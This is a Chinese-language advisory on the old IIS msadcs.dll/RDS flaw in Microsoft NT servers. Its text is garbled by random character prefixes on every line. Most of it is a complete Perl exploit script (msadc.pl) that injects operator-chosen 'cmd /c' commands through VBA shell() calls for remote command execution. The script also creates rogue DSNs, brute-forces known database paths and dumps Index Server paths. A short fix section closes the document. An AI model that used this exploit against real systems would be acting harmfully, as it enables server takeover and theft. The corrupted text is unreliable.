IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
i@'dH3-kO
F:ELPs4" 涉及程序：
sR8"3b<qA Microsoft NT server
#A .@i+Zv M3Kfd 描述：
13 wE"- 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
,z ?':TZ M^I(OuRMeI 详细：
aQ~s`^D 如果你没有时间读详细内容的话，就删除:
%XTI-B/K c:\Program Files\Common Files\System\Msadc\msadcs.dll
.wr>]yN 有关的安全问题就没有了。
Xm&L
B X eDB ;cN 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
w*Ihk) o" SMbj 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
E} .^kc[(4 关于利用ODBC远程漏洞的描述，请参看:
azU"G(6y?+ ^C%<l ( b http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm mV m Gg, DL.!G 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
$ulOp;~A% http://www.microsoft.com/security/bulletins/MS99-025faq.asp B1Oq!k <\FH fE 这里不再论述。
L HmZxi? 0(btA~'* 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
~;] d"' "I TIhnE /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
" h ^Z 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
D#z :()VT( 3N:D6w-R XZwK6F)L #将下面这段保存为txt文件，然后: "perl -x 文件名"
*owU)
E!AE4B1bd #!perl
S@sO;-^+ #
kNL\m[W8$ # MSADC/RDS 'usage' (aka exploit) script
iyog`s c #
]cruF#`% # by rain.forest.puppy
l@:0e]8|o #
9g?( BI^z # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
=rK+eG#, # beta test and find errors!
FG QzoS 3k?X-|O8AZ use Socket; use Getopt::Std;
Q5_o /wk getopts("e:vd:h:XR", \%args);
[trwBZ^D~ 6`- jPR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
UY 2O Z& & 'Z |mQZN if (!defined $args{h} && !defined $args{R}) {
m#F`] { print qq~
],v =]+R Usage: msadc.pl -h <host> { -d <delay> -X -v }
o8vug$=Z -h <host> = host you want to scan (ip or domain)
[c06 N$: -d <seconds> = delay between calls, default 1 second
g zg_>2Sj -X = dump Index Server path table, if available
F sryEHz -v = verbose
Qw)c $93 -e = external dictionary file for step 5
k;L6R!V -PQv ?5 Or a -R will resume a command session
V2G 6Kw9gt !? gKqx'T$ ~; exit;}
'`<w#z}AF IaXeRq?< $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
OBAi2Vw if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
\'bzt"f$j if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
r>U@3%0& if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
0K2`-mL $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
&`XVq" 7 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
?3xzd P t<viX's if (!defined $args{R}){ $ret = &has_msadc;
t`mV\)fa die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
# Vha7 (J!+(H 8 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
z]9MM
2+ . "cmd /c ";
LE>]8[ f6S $in=<STDIN>; chomp $in;
d<N:[Y\4l $command="cmd /c " . $in ;
h2""9aP ! Nu7
!8[?r* if (defined $args{R}) {&load; exit;}
hfy_3} _ %1$,Vs<RH print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Per1IcN &try_btcustmr;
w)Qp?k
d A$:U'ZG_ print "\nStep 2: Trying to make our own DSN...";
w
G<yBI0 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
KMjhZap% <HVt
V9R print "\nStep 3: Trying known DSNs...";
l2P=R)@{ &known_dsn;
'CkIz"Wd P(z+ +A& print "\nStep 4: Trying known .mdbs...";
v Op K Np &known_mdb;
=rCIumqD-} kq,ucU%>p if (defined $args{e}){
M1iS(x print "\nStep 5: Trying dictionary of DSN names...";
p2$P: !Y) &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
ah+iZ}E% xjj6WED print "Sorry Charley...maybe next time?\n";
xx%j.zDI] exit;
R',rsGd`6j 4u 5-7[TZ ##############################################################################
Y\?"WGL)p HqT# $}rv sub sendraw { # ripped and modded from whisker
6MMOf\
sleep($delay); # it's a DoS on the server! At least on mine...
1F&Trqq my ($pstr)=@_;
cz RFMYE socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
\ Et 3|Iv die("Socket problems\n");
dvJ M6W>^= if(connect(S,pack "SnA4x8",2,80,$target)){
SmSH 2m- select(S); $|=1;
"]b<uV print $pstr; my @in=<S>;
s{\8om '- select(STDOUT); close(S);
<s<n return @in;
{:$>t~=D } else { die("Can't connect...\n"); }}
.MoU1n{Yc XBu"-( ##############################################################################
{ go; C} iN8zo:&Z sub make_header { # make the HTTP request
nwRc%C``UK my $msadc=<<EOT
"8jf81V* POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
#-i>;Rt User-Agent: ACTIVEDATA
70tH:Z )" Host: $ip
>rKIG~P_ Content-Length: $clen
l$pm_%@2] Connection: Keep-Alive
;LSANr& P'[3Fqe ADCClientVersion:01.06
*Y7u'v Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
9u}Hmb !1 H# 6 --!ADM!ROX!YOUR!WORLD!
_
y8Wn}19f Content-Type: application/x-varg
c"V"zg22 Content-Length: $reqlen
jc[Y}gd, J({Xg? EOT
ca*DZG/ ; $msadc=~s/\n/\r\n/g;
jrr*! ^4| return $msadc;}
]e>w }L(gV VfC <WVYiZ ##############################################################################
Z<y I\1 _w+:Dv~*a sub make_req { # make the RDS request
<~'"<HwtK my ($switch, $p1, $p2)=@_;
=I ;ZMJR my $req=""; my $t1, $t2, $query, $dsn;
suiS&$-E I%X6T@P if ($switch==1){ # this is the btcustmr.mdb query
udUyh%n $query="Select * from Customers where City=" . make_shell();
~{B7 k: $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
@oY~..d` $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
m6&~Hf wN Fk*7;OuZl elsif ($switch==2){ # this is general make table query
0s3%Kqi[ $query="create table AZZ (B int, C varchar(10))";
}mq6]ZrK $dsn="$p1";}
e~[/i\ (X1e5j>Ru elsif ($switch==3){ # this is general exploit table query
[-k $query="select * from AZZ where C=" . make_shell();
X0H!/SlS $dsn="$p1";}
2 %@4] O%zU-_|* elsif ($switch==4){ # attempt to hork file info from index server
8 Pn#+IvCE $query="select path from scope()";
G"U9E5O $dsn="Provider=MSIDXS;";}
>G*eNn kmsb hYM) elsif ($switch==5){ # bad query
q?oP ?cCw $query="select";
O-~ 7b(Z $dsn="$p1";}
K>r,(zg Vc Ng>5?F^v $t1= make_unicode($query);
bv9i*] $t2= make_unicode($dsn);
otl0J Ht*+ $req = "\x02\x00\x03\x00";
LX7FaW $req.= "\x08\x00" . pack ("S1", length($t1));
|\<`Ib4j $req.= "\x00\x00" . $t1 ;
eJVj uG $req.= "\x08\x00" . pack ("S1", length($t2));
}=UHbU.n~! $req.= "\x00\x00" . $t2 ;
V>)OpvoT# $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
.TMs bZ|j return $req;}
o ]` *M| )}]g]
g ##############################################################################
.TR9975 gsv uE sub make_shell { # this makes the shell() statement
z( e xA return "'|shell(\"$command\")|'";}
f/NH:1)y w%VU/6~ ##############################################################################
]Svt`0|} ,p@y]
cr sub make_unicode { # quick little function to convert to unicode
ICo HI my ($in)=@_; my $out;
k\YG^I for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Zq|I, l0+E return $out;}
[vK ^Um VT%NO'0 ##############################################################################
='sHj4hU Ic:(Gi- % sub rdo_success { # checks for RDO return success (this is kludge)
+L| ?~p`V my (@in) = @_; my $base=content_start(@in);
WZejp}x if($in[$base]=~/multipart\/mixed/){
mpEK (p return 1 if( $in[$base+10]=~/^\x09\x00/ );}
C'@i/+ return 0;}
r
CHl?J [0[i5'K: ##############################################################################
u+e{Mim ua Gk6S sub make_dsn { # this makes a DSN for us
o&zJ=k [4 my @drives=("c","d","e","f");
nQtWvT print "\nMaking DSN: ";
KKPh~ThC foreach $drive (@drives) {
"f 2$w print "$drive: ";
r1 m]HFN my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7Lc]HSZ o, "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
#7 $
H . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
B6As,)RjD: $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
R)( T^V`{ return 0 if $2 eq "404"; # not found/doesn't exist
K5VWt)Z # if($2 eq "200") {
=/+-<px foreach $line (@results) {
Ugt/rf 5n return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Y>T-af49 } return 0;}
wY % } LTCb @L{^i ##############################################################################
"]x'PI 4J DE8n+Rm sub verify_exists {
~i{(<.he my ($page)=@_;
AW'0,b`v my @results=sendraw("GET $page HTTP/1.0\n\n");
e8!5 I,I return $results[0];}
G1tY) _-8[ o5O#vW2Il& ##############################################################################
!cLo> ,4 KV aiugQ sub try_btcustmr {
r~8 $1" my @drives=("c","d","e","f");
dNH08q8P my @dirs=("winnt","winnt35","winnt351","win","windows");
] t ,BMu=% `pS9_ NYZ} foreach $dir (@dirs) {
|\t-g" ~sN print "$dir -> "; # fun status so you can see progress
DGF5CK.O foreach $drive (@drives) {
PO^ij2eS print "$drive: "; # ditto
~2N"#b&J $reqlen=length( make_req(1,$drive,$dir) ) - 28;
P%VSAh\|n $reqlenlen=length( "$reqlen" );
RF c v^Xf $clen= 206 + $reqlenlen + $reqlen;
4Uo&d#o)C- )
7@ `ut my @results=sendraw(make_header() . make_req(1,$drive,$dir));
rJT a if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`r':by0M else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
EU;9 *W< , WYPU ##############################################################################
70nqD>M4 ,HV(l+k {| sub odbc_error {
T!kN)#S my (@in)=@_; my $base;
RJ&RTo my $base = content_start(@in);
B{#I: Rs9 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
vWv" $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
B ahm]2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
,V m
< rK $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
50wulGJud return $in[$base+4].$in[$base+5].$in[$base+6];}
b3[!V{| print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
69NeQ$]( print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
]|a g $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
OLGE !&!> P>D)7 V9Hh ##############################################################################
KY I / HM1Fz\Sf sub verbose {
j2[+z tG my ($in)=@_;
-3 *]G^y2 return if !$verbose;
o#Dk&
cH print STDOUT "\n$in\n";}
4.aZ# c91_ + GN(Ug'R ##############################################################################
tSUEZ62EY ;`{H!w[D sub save {
1n8/r}q'H my ($p1, $p2, $p3, $p4)=@_;
b. '-?Nn open(OUT, ">rds.save") || print "Problem saving parameters...\n";
xm~ `7~nFR print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
4E+e}\r:6 close OUT;}
$8h%a
8I '<)n8{3Q5w ##############################################################################
lrE 5^;/s1 ET*SB sub load {
I$G['` XX/ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
4F: \-O open(IN,"<rds.save") || die("Couldn't open rds.save\n");
G e@{_ @p=<IN>; close(IN);
Dml;#'IF3 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
^z*t%<@[Q $target= inet_aton($ip) || die("inet_aton problems");
{} przrU^c print "Resuming to $ip ...";
u&vf+6=9Dd $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
YkSl^j[DHs if($p[1]==1) {
jB2[( $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
WpP}s tam/ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
_|2:_N= my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
s l l\g if (rdo_success(@results)){print "Success!\n";}
'H>^2C iM else { print "failed\n"; verbose(odbc_error(@results));}}
t3_O H^ elsif ($p[1]==3){
M|h3Wt~7 if(run_query("$p[3]")){
$h"\N$iSq
print "Success!\n";} else { print "failed\n"; }}
Wn2NMXK elsif ($p[1]==4){
V}CG:9; if(run_query($drvst . "$p[3]")){
U7F!Z(
9 print "Success!\n"; } else { print "failed\n"; }}
tcI*a> exit;}
Dz/ "M= 7n<{tM ##############################################################################
YD6'#( Zu [su>\ sub create_table {
ES7s1O$# my ($in)=@_;
#c!lS<z $reqlen=length( make_req(2,$in,"") ) - 28;
U8?mc $reqlenlen=length( "$reqlen" );
{ VRf0c $clen= 206 + $reqlenlen + $reqlen;
g! |kp? my @results=sendraw(make_header() . make_req(2,$in,""));
0{D'n@ve P return 1 if rdo_success(@results);
rb.N~ my $temp= odbc_error(@results); verbose($temp);
r#a=@ return 1 if $temp=~/Table 'AZZ' already exists/;
x 9fip- return 0;}
a;+9mDXx: 6cXyJW ##############################################################################
Jn ov<+ l y mC H sub known_dsn {
g) jYFfGfH # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
^0 9," <@k my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
T0)@pt7> "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
U5de@Y "banner", "banners", "ads", "ADCDemo", "ADCTest");
TC*g|d @b 3s#N2X;Bc foreach $dSn (@dsns) {
7!E,V:bt' print ".";
U Cj ld next if (!is_access("DSN=$dSn"));
Q![@c if(create_table("DSN=$dSn")){
6i/(5 nQ print "$dSn successful\n";
x% B/ if(run_query("DSN=$dSn")){
R\[e!g*I print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
9yP;@y*d print "Something's borked. Use verbose next time\n";}}} print "\n";}
b>ySv L!x i ##############################################################################
_t^&Ah* ?Ir:g=RP* sub is_access {
| +9&rAg my ($in)=@_;
P& Vv /D $reqlen=length( make_req(5,$in,"") ) - 28;
(4nq>;$3 $reqlenlen=length( "$reqlen" );
j3Y['xDv $clen= 206 + $reqlenlen + $reqlen;
J|7 3.&B my @results=sendraw(make_header() . make_req(5,$in,""));
w}L[u
r;I_ my $temp= odbc_error(@results);
+N U G verbose($temp); return 1 if ($temp=~/Microsoft Access/);
p `qgrI` return 0;}
K[YyBE id (E1~ H0^ ##############################################################################
ox.F%)eQ pQB."[n sub run_query {
CqC`8fD1 my ($in)=@_;
Ny/MJ#Lq $reqlen=length( make_req(3,$in,"") ) - 28;
VIf.q)_k $reqlenlen=length( "$reqlen" );
t]G:L}AOl $clen= 206 + $reqlenlen + $reqlen;
N;%6:I./ my @results=sendraw(make_header() . make_req(3,$in,""));
-KbYOb return 1 if rdo_success(@results);
JucY[`|JV my $temp= odbc_error(@results); verbose($temp);
jPkn[W#
6 return 0;}
FS1z`wYP J 'r^/ ##############################################################################
H\[W/" lyhiFkO
iH sub known_mdb {
>9J:Uo1z my @drives=("c","d","e","f","g");
(Q B2T2x my @dirs=("winnt","winnt35","winnt351","win","windows");
.=;
; my $dir, $drive, $mdb;
BMf@ M my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
d0>
zS GC'O[q+ # this is sparse, because I don't know of many
\_f v7Fdp{ my @sysmdbs=( "\\catroot\\icatalog.mdb",
_@/8g PT*i "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
Flb&B1 "\\system32\\certmdb.mdb",
c&Q$L } "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
-UT}/:a 69.NPy@ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
sDV Q#}a "\\cfusion\\cfapps\\forums\\forums_.mdb",
hE-M$LmN@ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
zbPqYhJzA "\\cfusion\\cfapps\\security\\realm_.mdb",
\l 3h0R "\\cfusion\\cfapps\\security\\data\\realm.mdb",
-s/ea~=R "\\cfusion\\database\\cfexamples.mdb",
>
Nr# O "\\cfusion\\database\\cfsnippets.mdb",
^<AwG= "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
Oow2>F%_# "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
(7*}-Uy[C "\\cfusion\\brighttiger\\database\\cleam.mdb",
=vhm} "\\cfusion\\database\\smpolicy.mdb",
Y<8vw
d "\\cfusion\\database\cypress.mdb",
>LuYHr "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
9nbLg5P "\\website\\cgi-win\\dbsample.mdb",
Z/J y'$x "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
k VQ\1! "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
F6dP,( ); #these are just
{l >hMxij foreach $drive (@drives) {
e(G |;a foreach $dir (@dirs){
w%sT{(Vd`C foreach $mdb (@sysmdbs) {
bN@
l?w print ".";
/u+e0BHo if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H>@+om print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;bhT@aB1 if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
xk R0 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
OZ!^a k } else { print "Something's borked. Use verbose next time\n"; }}}}}
o _H`o&xr {]|J5Dgfe foreach $drive (@drives) {
f y8Uk; foreach $mdb (@mdbs) {
* /DO ex"y print ".";
FC"8#*x if(create_table($drv . $drive . $dir . $mdb)){
W o ,?+I print "\n" . $drive . $dir . $mdb . " successful\n";
lb1Xsgm{ if(run_query($drv . $drive . $dir . $mdb)){
iG?[<1~ print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
"C 3/T&F } else { print "Something's borked. Use verbose next time\n"; }}}}
WM P,\=6k0 }
nt.y
!k B?o7e<l[ ##############################################################################
u> / TE 5NLDYi@3 sub hork_idx {
;6hOx(>`= print "\nAttempting to dump Index Server tables...\n";
>&#)Tqt!? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
4nz 35BLr $reqlen=length( make_req(4,"","") ) - 28;
y18Y:)DkL $reqlenlen=length( "$reqlen" );
C"]^Q)aJN $clen= 206 + $reqlenlen + $reqlen;
NW)1#]gg% my @results=sendraw2(make_header() . make_req(4,"",""));
lB[kbJ if (rdo_success(@results)){
/|#fejPh my $max=@results; my $c; my %d;
dGTsc/$ for($c=19; $c<$max; $c++){
4I5Y,g{6+ $results[$c]=~s/\x00//g;
-s'-eQF J $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
W'Ta BuCb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
!$>R j $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
9 JK Ew $d{"$1$2"}="";}
$, fX:x foreach $c (keys %d){ print "$c\n"; }
eQvg7aO; } else {print "Index server doesn't seem to be installed.\n"; }}
O%HHYV%[m Jqi%|,/] N ##############################################################################
##4HYQ%E 0'o : #- sub dsn_dict {
-RK- Fu<e open(IN, "<$args{e}") || die("Can't open external dictionary\n");
@gXx1hEg while(<IN>){
Pd]|:W< E $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5.J.RE"M next if (!is_access("DSN=$dSn"));
`x%>8/ if(create_table("DSN=$dSn")){
_2 osV[e print "$dSn successful\n";
<yg F( if(run_query("DSN=$dSn")){
`n?DU;, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
QnX(V[ print "Something's borked. Use verbose next time\n";}}}
&UlWCOo8 print "\n"; close(IN);}
2jCf T>`3 I Rqy%@) ##############################################################################
KRK CD4 QUQ'3 sub sendraw2 { # ripped and modded from whisker
tcog'nA z sleep($delay); # it's a DoS on the server! At least on mine...
#
c^z&0B} my ($pstr)=@_;
hqkz^!rp socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
4t mAzD die("Socket problems\n");
>t_ 6B~x9 if(connect(S,pack "SnA4x8",2,80,$target)){
D*|Bb? print "Connected. Getting data";
`&6dnSC},P open(OUT,">raw.out"); my @in;
t}/( b/VD select(S); $|=1; print $pstr;
$\y'I Q% while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
Q>1[JW{$} close(OUT); select(STDOUT); close(S); return @in;
5bpEYW+ } else { die("Can't connect...\n"); }}
WVvv I9 k~
/Nv=D ##############################################################################
As<bL:>dE sZF6h=67D sub content_start { # this will take in the server headers
A1zjPG &] my (@in)=@_; my $c;
Hc(OI|z~ for ($c=1;$c<500;$c++) {
Alw3\_X if($in[$c] =~/^\x0d\x0a/){
cDH^\-z if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
l0A&9g*l2 else { return $c+1; }}}
2x0<&Xy#P return -1;} # it should never get here actually
iTU5l5U z a PbE;"
f ##############################################################################
I"7u2"@-8j l8 #EM1g- sub funky {
y:qUn!3 my (@in)=@_; my $error=odbc_error(@in);
zi`o#+ if($error=~/ADO could not find the specified provider/){
R`^_(y n> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
=P
#] exit;}
)~ h} if($error=~/A Handler is required/){
7g}w+p> print "\nServer has custom handler filters (they most likely are patched)\n";
scLll ,~ exit;}
\&gB)czEO if($error=~/specified Handler has denied Access/){
Jz
* ;q~ print "\nServer has custom handler filters (they most likely are patched)\n";
)
M BQuiL exit;}}
JbQ) sp .z}~4 BY ##############################################################################
d T 1H _X"N1,0 sub has_msadc {
,f;}|d:r my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
LW_ f my $base=content_start(@results);
G?/ DrnK: return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
naznayy return 0;}
LvUj9eVb/L 7,9=uk>0\ ########################
2Jc j Zn 8k1Dj1@0z oJ|j#+Ft 解决方案：
`t'W2X 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
O2dW6bt 2、移除web 目录: /msadc
